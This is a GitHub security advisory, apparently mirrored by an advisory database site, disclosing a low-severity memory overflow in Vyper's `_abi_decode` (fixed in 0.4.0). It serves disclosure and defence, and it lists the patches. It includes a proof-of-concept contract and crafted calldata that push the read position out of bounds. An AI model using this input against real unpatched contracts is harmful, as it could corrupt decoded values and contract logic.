Loading HuntDB...

GHSA-9p8r-4xp4-gw5w

GitHub Security Advisory

Vyper's `_abi_decode` vulnerable to Memory Overflow

✓ GitHub Reviewed LOW Has CVE

Advisory Details

## Summary

If an excessively large value is specified as the starting index for an array in `_abi_decode`, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within `_abi_decode`. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of `abi_decode` on the same input.

## Proof of Concept

```vyper
event Pwn:
pass

@external
def f(x: Bytes[32 * 3]):
a: Bytes[32] = b"foo"
y: Bytes[32 * 3] = x

decoded_y1: Bytes[32] = _abi_decode(y, Bytes[32])
a = b"bar"
decoded_y2: Bytes[32] = _abi_decode(y, Bytes[32])

if decoded_y1 != decoded_y2:
log Pwn()
```

Sending the following calldata results in `Pwn` being emitted.

```
0xd45754f8
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000060
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0
```

### Patches
Patched in https://github.com/vyperlang/vyper/pull/3925, https://github.com/vyperlang/vyper/pull/4091, https://github.com/vyperlang/vyper/pull/4144, https://github.com/vyperlang/vyper/pull/4060.

Affected Packages

PyPI vyper
Affected versions: 0 (fixed in 0.4.0)

Related CVEs

Key Information

GHSA ID
GHSA-9p8r-4xp4-gw5w
Published
February 26, 2024 8:11 PM
Last Modified
January 17, 2025 3:54 PM
CVSS Score
2.5 /10
Primary Ecosystem
PyPI
Primary Package
vyper
GitHub Reviewed
✓ Yes

Dataset

Last updated: June 18, 2025 6:25 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.